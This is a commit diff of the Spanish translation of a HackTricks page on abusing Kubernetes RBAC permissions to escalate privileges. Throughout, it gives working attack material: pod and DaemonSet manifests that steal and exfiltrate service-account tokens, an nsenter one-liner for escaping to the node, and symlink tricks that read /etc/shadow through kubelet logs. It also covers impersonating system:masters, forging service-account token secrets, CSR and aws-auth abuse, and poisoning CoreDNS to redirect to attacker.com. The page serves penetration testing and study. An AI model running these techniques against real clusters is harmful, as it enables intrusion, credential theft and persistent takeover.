mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/pentesting-kub
This commit is contained in:
+162
-140
@@ -2,22 +2,22 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Aquí puedes encontrar algunas configuraciones de Roles y ClusterRoles potencialmente peligrosas.\
|
||||
Aquí puedes encontrar algunas configuraciones potencialmente peligrosas de Roles y ClusterRoles.\
|
||||
Recuerda que puedes obtener todos los recursos soportados con `kubectl api-resources`
|
||||
|
||||
## **Escalación de Privilegios**
|
||||
## **Privilege Escalation**
|
||||
|
||||
Se refiere al arte de obtener **acceso a un principal diferente** dentro del clúster **con diferentes privilegios** (dentro del clúster de Kubernetes o a nubes externas) que los que ya tienes. En Kubernetes, hay básicamente **4 técnicas principales para escalar privilegios**:
|
||||
Refiriéndose al arte de obtener **access to a different principal** dentro del cluster **with different privileges** (dentro del Kubernetes cluster o hacia clouds externos) que las que ya tienes, en Kubernetes básicamente hay **4 main techniques to escalate privileges**:
|
||||
|
||||
- Poder **suplantar** a otros usuarios/grupos/SAs con mejores privilegios dentro del clúster de Kubernetes o a nubes externas
|
||||
- Poder **crear/parchear/ejecutar pods** donde puedes **encontrar o adjuntar SAs** con mejores privilegios dentro del clúster de Kubernetes o a nubes externas
|
||||
- Poder **leer secretos** ya que los tokens de SAs se almacenan como secretos
|
||||
- Poder **escapar al nodo** desde un contenedor, donde puedes robar todos los secretos de los contenedores que se ejecutan en el nodo, las credenciales del nodo y los permisos del nodo dentro de la nube en la que se está ejecutando (si los hay)
|
||||
- Una quinta técnica que merece mención es la capacidad de **ejecutar port-forward** en un pod, ya que podrías acceder a recursos interesantes dentro de ese pod.
|
||||
- Poder **impersonate** a otros user/groups/SAs con mejores privilegios dentro del Kubernetes cluster o hacia clouds externos
|
||||
- Poder **create/patch/exec pods** donde puedas **find or attach SAs** con mejores privilegios dentro del Kubernetes cluster o hacia clouds externos
|
||||
- Poder **read secrets** ya que los tokens de las SAs se almacenan como secrets
|
||||
- Poder **escape to the node** desde un container, donde puedes robar todos los secrets de los containers que se ejecutan en el node, las credenciales del node y los permisos del node dentro del cloud donde se esté ejecutando (si los hay)
|
||||
- Una quinta técnica que merece mención es la capacidad de **run port-forward** en un pod, ya que podrías acceder a recursos interesantes dentro de ese pod.
|
||||
|
||||
### Acceso a Cualquier Recurso o Verbo (Wildcard)
|
||||
### Access Any Resource or Verb (Wildcard)
|
||||
|
||||
El **wildcard (\*) otorga permiso sobre cualquier recurso con cualquier verbo**. Es utilizado por administradores. Dentro de un ClusterRole, esto significa que un atacante podría abusar de cualquier namespace en el clúster.
|
||||
El **wildcard (\*) gives permission over any resource with any verb**. Lo usan los admins. Dentro de una ClusterRole esto significa que un atacante podría abusar de cualquier namespace en el cluster
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -29,13 +29,13 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["*"]
|
||||
```
|
||||
### Acceder a Cualquier Recurso con un verbo específico
|
||||
### Acceder a cualquier recurso con un verbo específico
|
||||
|
||||
En RBAC, ciertos permisos representan riesgos significativos:
|
||||
En RBAC, ciertos permisos presentan riesgos significativos:
|
||||
|
||||
1. **`create`:** Concede la capacidad de crear cualquier recurso del clúster, arriesgando la escalada de privilegios.
|
||||
2. **`list`:** Permite listar todos los recursos, potencialmente filtrando datos sensibles.
|
||||
3. **`get`:** Permite acceder a secretos de cuentas de servicio, representando una amenaza a la seguridad.
|
||||
1. **`create`:** Concede la capacidad de crear cualquier recurso del cluster, arriesgando un escalamiento de privilegios.
|
||||
2. **`list`:** Permite listar todos los recursos, potencialmente leaking datos sensibles.
|
||||
3. **`get`:** Permite acceder a secrets de service accounts, lo que supone una amenaza para la seguridad.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
|
||||
Un atacante con los permisos para crear un pod, podría adjuntar una Cuenta de Servicio privilegiada al pod y robar el token para hacerse pasar por la Cuenta de Servicio. Efectivamente, escalando privilegios a ella.
|
||||
Un atacante con los permisos para crear un pod podría adjuntar una Service Account privilegiada en el pod y robar el token para suplantar a la Service Account. Escalando efectivamente sus privilegios.
|
||||
|
||||
Ejemplo de un pod que robará el token de la cuenta de servicio `bootstrap-signer` y lo enviará al atacante:
|
||||
Ejemplo de un pod que robará el token de la `bootstrap-signer` service account y se lo enviará al atacante:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -72,14 +72,14 @@ serviceAccountName: bootstrap-signer
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
```
|
||||
### Creación y Escape de Pods
|
||||
### Pod Create & Escape
|
||||
|
||||
Lo siguiente indica todos los privilegios que un contenedor puede tener:
|
||||
Lo siguiente indica todos los privilegios que puede tener un contenedor:
|
||||
|
||||
- **Acceso privilegiado** (deshabilitando protecciones y estableciendo capacidades)
|
||||
- **Privileged access** (deshabilitar protecciones y establecer capacidades)
|
||||
- **Deshabilitar los namespaces hostIPC y hostPid** que pueden ayudar a escalar privilegios
|
||||
- **Deshabilitar el namespace hostNetwork**, dando acceso para robar privilegios de nube de nodos y mejor acceso a redes
|
||||
- **Montar hosts / dentro del contenedor**
|
||||
- **Deshabilitar el namespace hostNetwork**, dando acceso para robar los privilegios en la nube de los nodos y un mejor acceso a las redes
|
||||
- **Montar el / del host dentro del contenedor**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -119,41 +119,41 @@ Crea el pod con:
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
Una línea de [este tweet](https://twitter.com/mauilion/status/1129468485480751104) y con algunas adiciones:
|
||||
Comando de una sola línea de [this tweet](https://twitter.com/mauilion/status/1129468485480751104) y con algunas adiciones:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
Ahora que puedes escapar al nodo, revisa las técnicas de post-explotación en:
|
||||
Ahora que puedes escapar al node consulta post-exploitation techniques en:
|
||||
|
||||
#### Sigilo
|
||||
#### Stealth
|
||||
|
||||
Probablemente quieras ser **más sigiloso**, en las siguientes páginas puedes ver a qué podrías acceder si creas un pod habilitando solo algunos de los privilegios mencionados en la plantilla anterior:
|
||||
Probablemente quieras ser **stealthier**, en las páginas siguientes puedes ver a qué podrías acceder si creas un pod habilitando solo algunos de los privilegios mencionados en la plantilla anterior:
|
||||
|
||||
- **Privilegiado + hostPID**
|
||||
- **Solo privilegiado**
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
- **hostPath**
|
||||
- **hostPID**
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_Puedes encontrar un ejemplo de cómo crear/abusar de las configuraciones de pods privilegiados anteriores en_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
|
||||
### Crear Pod - Mover a la nube
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
Si puedes **crear** un **pod** (y opcionalmente una **cuenta de servicio**) podrías **obtener privilegios en el entorno de la nube** al **asignar roles de nube a un pod o a una cuenta de servicio** y luego acceder a él.\
|
||||
Además, si puedes crear un **pod con el espacio de nombres de red del host**, puedes **robar el rol de IAM** de la instancia del **nodo**.
|
||||
Si puedes **create** un **pod** (y opcionalmente una **service account**) podrías ser capaz de **obtain privileges in cloud environment** al **assigning cloud roles to a pod or a service account** y luego acceder a él.\
|
||||
Además, si puedes crear un **pod with the host network namespace** puedes **steal the IAM** role de la instancia del **node**.
|
||||
|
||||
Para más información, consulta:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### **Crear/Patch Despliegue, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs y Cronjobs**
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
Es posible abusar de estos permisos para **crear un nuevo pod** y escalar privilegios como en el ejemplo anterior.
|
||||
Es posible abusar de estos permisos para **create a new pod** y escalar privilegios como en el ejemplo anterior.
|
||||
|
||||
El siguiente yaml **crea un daemonset y exfiltra el token de la SA** dentro del pod:
|
||||
El siguiente yaml **creates a daemonset and exfiltrates the token of the SA** dentro del pod:
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -191,32 +191,32 @@ path: /
|
||||
```
|
||||
### **Pods Exec**
|
||||
|
||||
**`pods/exec`** es un recurso en kubernetes utilizado para **ejecutar comandos en un shell dentro de un pod**. Esto permite **ejecutar comandos dentro de los contenedores o obtener un shell dentro**.
|
||||
**`pods/exec`** es un recurso en kubernetes usado para **ejecutar comandos en una shell dentro de un pod**. Esto permite **ejecutar comandos dentro de los contenedores o obtener una shell dentro**.
|
||||
|
||||
Por lo tanto, es posible **entrar en un pod y robar el token del SA**, o ingresar a un pod privilegiado, escapar al nodo y robar todos los tokens de los pods en el nodo y (ab)usar el nodo:
|
||||
Por lo tanto, es posible **entrar en un pod y robar el token del SA**, o entrar en un pod privilegiado, escapar al node, y robar todos los tokens de los pods en el node y (ab)usar el node:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> Por defecto, el comando se ejecuta en el primer contenedor del pod. Obtén **todos los pods en un contenedor** con `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` y luego **indica el contenedor** donde deseas ejecutarlo con `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
> Por defecto el comando se ejecuta en el primer contenedor del pod. Obtén **todos los contenedores en un pod** con `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` y luego **indica el contenedor** donde quieres ejecutarlo con `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
|
||||
Si es un contenedor distroless, podrías intentar usar **shell builtins** para obtener información de los contenedores o subir tus propias herramientas como un **busybox** usando: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
Si es un distroless container puedes intentar usar **shell builtins** para obtener información de los contenedores o subir tus propias herramientas como un **busybox** usando: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
|
||||
### port-forward
|
||||
|
||||
Este permiso permite **redirigir un puerto local a un puerto en el pod especificado**. Esto está destinado a poder depurar aplicaciones que se ejecutan dentro de un pod fácilmente, pero un atacante podría abusar de ello para obtener acceso a aplicaciones interesantes (como bases de datos) o vulnerables (¿webs?) dentro de un pod:
|
||||
Este permiso permite **redirigir un puerto local a un puerto en el pod especificado**. Está pensado para facilitar la depuración de aplicaciones que se ejecutan dentro de un pod, pero un atacante podría abusar de ello para obtener acceso a aplicaciones interesantes (como DBs) o vulnerables (¿webs?) dentro de un pod:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hosts Writable /var/log/ Escape
|
||||
### Hosts con /var/log/ escribible — Escape
|
||||
|
||||
Como [**se indica en esta investigación**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), si puedes acceder o crear un pod con el **directorio `/var/log/` de los hosts montado** en él, puedes **escapar del contenedor**.\
|
||||
Esto se debe básicamente a que cuando el **Kube-API intenta obtener los logs** de un contenedor (usando `kubectl logs <pod>`), **solicita el archivo `0.log`** del pod utilizando el endpoint `/logs/` del servicio **Kubelet**.\
|
||||
El servicio Kubelet expone el endpoint `/logs/`, que básicamente **expone el sistema de archivos `/var/log` del contenedor**.
|
||||
Como [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), si puedes acceder o crear un pod con el directorio **hosts `/var/log/` mounted** en él, puedes **escape from the container**.\
|
||||
Esto se debe básicamente a que cuando la **Kube-API intenta obtener los logs** de un contenedor (usando `kubectl logs <pod>`), solicita el archivo `0.log` del pod usando el endpoint `/logs/` del servicio **Kubelet**.\
|
||||
El servicio Kubelet expone el endpoint `/logs/` que básicamente está **exponiendo el filesystem `/var/log` del contenedor**.
|
||||
|
||||
Por lo tanto, un atacante con **acceso para escribir en la carpeta /var/log/** del contenedor podría abusar de este comportamiento de 2 maneras:
|
||||
Por lo tanto, un atacante con **acceso de escritura en la carpeta /var/log/** del contenedor podría abusar de este comportamiento de 2 maneras:
|
||||
|
||||
- Modificando el archivo `0.log` de su contenedor (generalmente ubicado en `/var/logs/pods/namespace_pod_uid/container/0.log`) para que sea un **symlink que apunte a `/etc/shadow`**, por ejemplo. Luego, podrás exfiltrar el archivo shadow de los hosts haciendo:
|
||||
- Modificar el archivo `0.log` de su contenedor (usualmente ubicado en `/var/logs/pods/namespace_pod_uid/container/0.log`) para que sea un **symlink pointing to `/etc/shadow`**, por ejemplo. Entonces, podrás exfiltrar el archivo shadow del host haciendo:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -224,7 +224,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- Si el atacante controla cualquier principal con los **permisos para leer `nodes/log`**, puede simplemente crear un **symlink** en `/host-mounted/var/log/sym` a `/` y al **acceder a `https://<gateway>:10250/logs/sym/` listará el sistema de archivos raíz** del host (cambiar el symlink puede proporcionar acceso a archivos).
|
||||
- Si el atacante controla cualquier principal con los **permisos para leer `nodes/log`**, puede simplemente crear un **symlink** en `/host-mounted/var/log/sym` apuntando a `/` y al **acceder a `https://<gateway>:10250/logs/sym/` listará el sistema de archivos raíz del host** (cambiar el symlink puede proporcionar acceso a archivos).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -236,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
<a href="lib">lib</a>
|
||||
[...]
|
||||
```
|
||||
**Un laboratorio y un exploit automatizado se pueden encontrar en** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
**Se puede encontrar un laboratorio y un exploit automatizado en** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
|
||||
#### Bypass de la protección readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Eludir la protección readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Si tienes la suerte de que la capacidad altamente privilegiada `CAP_SYS_ADMIN` está disponible, puedes simplemente volver a montar la carpeta como rw:
|
||||
Si tienes la suerte de que la capability altamente privilegiada `CAP_SYS_ADMIN` esté disponible, puedes simplemente volver a montar la carpeta como rw:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### Bypass de la protección readOnly de hostPath <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Eludir la protección hostPath readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Como se indica en [**esta investigación**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), es posible eludir la protección:
|
||||
Como se indica en [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) es posible eludir la protección:
|
||||
```yaml
|
||||
allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
Lo que se pretendía era prevenir escapes como los anteriores al, en lugar de usar un hostPath mount, utilizar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura:
|
||||
Esto estaba pensado para prevenir escapes como los anteriores: en lugar de usar un hostPath mount, usar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta del host en el contenedor con acceso de escritura:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -300,14 +300,14 @@ name: task-pv-storage-vol
|
||||
```
|
||||
### **Suplantación de cuentas privilegiadas**
|
||||
|
||||
Con un privilegio de [**suplantación de usuario**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un atacante podría suplantar una cuenta privilegiada.
|
||||
Con el privilegio de [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un atacante podría suplantar una cuenta privilegiada.
|
||||
|
||||
Solo usa el parámetro `--as=<username>` en el comando `kubectl` para suplantar a un usuario, o `--as-group=<group>` para suplantar a un grupo:
|
||||
Simplemente use el parámetro `--as=<username>` en el comando `kubectl` para suplantar a un usuario, o `--as-group=<group>` para suplantar a un grupo:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
```
|
||||
O use la API REST:
|
||||
O usa la REST API:
|
||||
```bash
|
||||
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Impersonate-Group: system:masters"\
|
||||
@@ -315,15 +315,16 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Listando Secretos
|
||||
### Listar Secrets
|
||||
|
||||
El permiso para **listar secretos podría permitir a un atacante leer realmente los secretos** accediendo al endpoint de la API REST:
|
||||
El permiso para **list secrets podría permitir a un atacante leer realmente los secrets** accediendo al endpoint de la API REST:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Creación y Lectura de Secretos
|
||||
### Creación y lectura de Secrets
|
||||
|
||||
Hay un tipo especial de secreto de Kubernetes de tipo **kubernetes.io/service-account-token** que almacena tokens de serviceaccount. Si tienes permisos para crear y leer secretos, y también conoces el nombre del serviceaccount, puedes crear un secreto de la siguiente manera y luego robar el token del serviceaccount de la víctima:
|
||||
Existe un tipo especial de Secret de Kubernetes de tipo **kubernetes.io/service-account-token** que almacena tokens de serviceaccount.
|
||||
Si tienes permisos para crear y leer Secrets, y además conoces el nombre del serviceaccount, puedes crear un Secret como sigue y luego robar el token del serviceaccount víctima:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -334,7 +335,7 @@ annotations:
|
||||
kubernetes.io/service-account.name: cluster-admin-sa
|
||||
type: kubernetes.io/service-account-token
|
||||
```
|
||||
Ejemplo de explotación:
|
||||
Ejemplo exploitation:
|
||||
```bash
|
||||
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
|
||||
|
||||
@@ -382,13 +383,14 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Note que si se le permite crear y leer secretos en un cierto namespace, la cuenta de servicio de la víctima también debe estar en ese mismo namespace.
|
||||
Ten en cuenta que si tienes permiso para crear y leer secrets en un namespace determinado, el victim serviceaccount también debe estar en ese mismo namespace.
|
||||
|
||||
### Lectura de un secreto – fuerza bruta de IDs de token
|
||||
|
||||
Mientras que un atacante en posesión de un token con permisos de lectura requiere el nombre exacto del secreto para usarlo, a diferencia del privilegio más amplio de _**listar secretos**_, aún existen vulnerabilidades. Las cuentas de servicio predeterminadas en el sistema pueden ser enumeradas, cada una asociada con un secreto. Estos secretos tienen una estructura de nombre: un prefijo estático seguido de un token alfanumérico aleatorio de cinco caracteres (excluyendo ciertos caracteres) de acuerdo con el [código fuente](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
### Lectura de un secret – brute-forcing token IDs
|
||||
|
||||
El token se genera a partir de un conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), en lugar del rango alfanumérico completo. Esta limitación reduce el total de combinaciones posibles a 14,348,907 (27^5). En consecuencia, un atacante podría ejecutar razonablemente un ataque de fuerza bruta para deducir el token en cuestión de horas, lo que podría llevar a una escalada de privilegios al acceder a cuentas de servicio sensibles.
|
||||
Si bien un atacante en posesión de un token con permisos de lectura necesita el nombre exacto del secret para usarlo, a diferencia del privilegio más amplio de _**listing secrets**_, todavía existen vulnerabilidades. Default service accounts en el sistema pueden ser enumerados, cada uno asociado a un secret. Estos secrets tienen una estructura de nombre: un prefijo estático seguido de un token alfanumérico aleatorio de cinco caracteres (excluyendo ciertos caracteres) según el [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
El token se genera a partir de un conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), en lugar del rango alfanumérico completo. Esta limitación reduce el total de combinaciones posibles a 14,348,907 (27^5). En consecuencia, un atacante podría, de forma factible, ejecutar un brute-force attack para deducir el token en cuestión de horas, lo que podría conducir a una escalada de privilegios al acceder a service accounts sensibles.
|
||||
|
||||
### EncrpytionConfiguration en texto claro
|
||||
|
||||
@@ -449,13 +451,13 @@ keys:
|
||||
- name: key3
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
|
||||
```
|
||||
### Certificate Signing Requests
|
||||
### Solicitudes de firma de certificados
|
||||
|
||||
Si tienes el verbo **`create`** en el recurso `certificatesigningrequests` (o al menos en `certificatesigningrequests/nodeClient`). Puedes **crear** un nuevo CeSR de un **nuevo nodo.**
|
||||
Si tienes el verbo **`create`** en el recurso `certificatesigningrequests` ( o al menos en `certificatesigningrequests/nodeClient`). Puedes **crear** un nuevo CeSR de un **nuevo nodo.**
|
||||
|
||||
Según la [documentación es posible aprobar automáticamente estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), así que en ese caso **no necesitas permisos adicionales**. Si no, necesitarías poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `<signerNameDomain>/<signerNamePath>` o `<signerNameDomain>/*`
|
||||
Según la [documentación es posible autoaprobar estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), por lo que en ese caso **no necesitas permisos adicionales**. Si no, necesitarías poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `<signerNameDomain>/<signerNamePath>` o `<signerNameDomain>/*`
|
||||
|
||||
Un **ejemplo de un rol** con todos los permisos requeridos es:
|
||||
Un **ejemplo de un role** con todos los permisos requeridos es:
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -486,18 +488,18 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
Entonces, con el nuevo CSR de nodo aprobado, puedes **abusar** de los permisos especiales de los nodos para **robar secretos** y **escalar privilegios**.
|
||||
Entonces, con el nuevo node CSR aprobado, puedes **abusar** de los permisos especiales de los nodos para **robar secretos** y **escalar privilegios**.
|
||||
|
||||
En [**esta publicación**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**esta otra**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuración de GKE K8s TLS Bootstrap está configurada con **firma automática** y se abusa para generar credenciales de un nuevo nodo K8s y luego abusar de ellas para escalar privilegios robando secretos.\
|
||||
Si **tienes los privilegios mencionados, podrías hacer lo mismo**. Ten en cuenta que el primer ejemplo elude el error que impide que un nuevo nodo acceda a secretos dentro de contenedores porque un **nodo solo puede acceder a los secretos de los contenedores montados en él.**
|
||||
En [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) la configuración GKE K8s TLS Bootstrap está configurada con **automatic signing** y se abusa de ella para generar credenciales de un nuevo K8s Node y luego usar esas credenciales para escalar privilegios robando secretos.\
|
||||
Si **tienes los privilegios mencionados podrías hacer lo mismo**. Ten en cuenta que el primer ejemplo evita el error que impide a un nuevo nodo acceder a los secretos dentro de los contenedores porque un **nodo solo puede acceder a los secretos de los contenedores montados en él.**
|
||||
|
||||
La forma de eludir esto es simplemente **crear credenciales de nodo para el nombre del nodo donde el contenedor con los secretos interesantes está montado** (pero solo verifica cómo hacerlo en la primera publicación):
|
||||
La forma de evitar esto es simplemente **crear credenciales de nodo para el nombre de nodo donde está montado el contenedor con los secretos interesantes** (pero consulta cómo hacerlo en el primer post):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
Los principales que pueden modificar **`configmaps`** en el espacio de nombres kube-system en clústeres EKS (deben estar en AWS) pueden obtener privilegios de administrador del clúster al sobrescribir el configmap **aws-auth**.\
|
||||
Entidades (principals) que puedan modificar **`configmaps`** en el namespace kube-system en clusters EKS (necesitan estar en AWS) pueden obtener privilegios de administrador del cluster sobrescribiendo el **aws-auth** configmap.\
|
||||
Los verbos necesarios son **`update`** y **`patch`**, o **`create`** si el configmap no fue creado:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
@@ -538,18 +540,18 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> Puedes usar **`aws-auth`** para **persistencia** dando acceso a usuarios de **otras cuentas**.
|
||||
> Puedes usar **`aws-auth`** para **persistencia** otorgando acceso a usuarios de **otras cuentas**.
|
||||
>
|
||||
> Sin embargo, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **no funciona desde una cuenta diferente**. Pero en realidad `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona si pones el ARN del clúster en lugar de solo el nombre.\
|
||||
> Para hacer que `kubectl` funcione, solo asegúrate de **configurar** el **kubeconfig de la víctima** y en los argumentos de ejecución de aws agrega `--profile other_account_role` para que kubectl use el perfil de la otra cuenta para obtener el token y contactar a AWS.
|
||||
> Sin embargo, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **no funciona desde una cuenta diferente**. Pero en realidad `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona si pones el ARN del cluster en lugar del nombre.\
|
||||
> Para que `kubectl` funcione, asegúrate de **configurar** el **kubeconfig de la víctima** y en los argumentos de aws exec añade `--profile other_account_role` para que kubectl use el perfil de la otra cuenta para obtener el token y contactar a AWS.
|
||||
|
||||
### Mapa de configuración de CoreDNS
|
||||
### ConfigMap de CoreDNS
|
||||
|
||||
Si tienes los permisos para modificar el **`coredns` configmap** en el espacio de nombres `kube-system`, puedes modificar las direcciones a las que se resolverán los dominios para poder realizar ataques MitM para **robar información sensible o inyectar contenido malicioso**.
|
||||
Si tienes permisos para modificar el **`coredns` configmap** en el `kube-system` namespace, puedes modificar a qué direcciones se resolverán los dominios para poder realizar ataques MitM y **robar información sensible o inyectar contenido malicioso**.
|
||||
|
||||
Los verbos necesarios son **`update`** y **`patch`** sobre el **`coredns`** configmap (o todos los config maps).
|
||||
|
||||
Un archivo **coredns** regular contiene algo como esto:
|
||||
Un **archivo coredns** típico contiene algo como esto:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
@@ -579,58 +581,75 @@ reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
Un atacante podría descargarlo ejecutando `kubectl get configmap coredns -n kube-system -o yaml`, modificarlo añadiendo algo como `rewrite name victim.com attacker.com`, de modo que cada vez que se acceda a `victim.com`, en realidad se acceda a `attacker.com`. Y luego aplicarlo ejecutando `kubectl apply -f poison_dns.yaml`.
|
||||
Un atacante podría descargarlo ejecutando `kubectl get configmap coredns -n kube-system -o yaml`, modificarlo añadiendo algo como `rewrite name victim.com attacker.com` para que, cada vez que se acceda a `victim.com`, en realidad se acceda al dominio `attacker.com`. Y luego aplicarlo ejecutando `kubectl apply -f poison_dns.yaml`.
|
||||
|
||||
Otra opción es simplemente editar el archivo ejecutando `kubectl edit configmap coredns -n kube-system` y hacer cambios.
|
||||
Otra opción es simplemente editar el archivo ejecutando `kubectl edit configmap coredns -n kube-system` y hacer los cambios.
|
||||
|
||||
### Escalando en GKE
|
||||
### Escalación en GKE
|
||||
|
||||
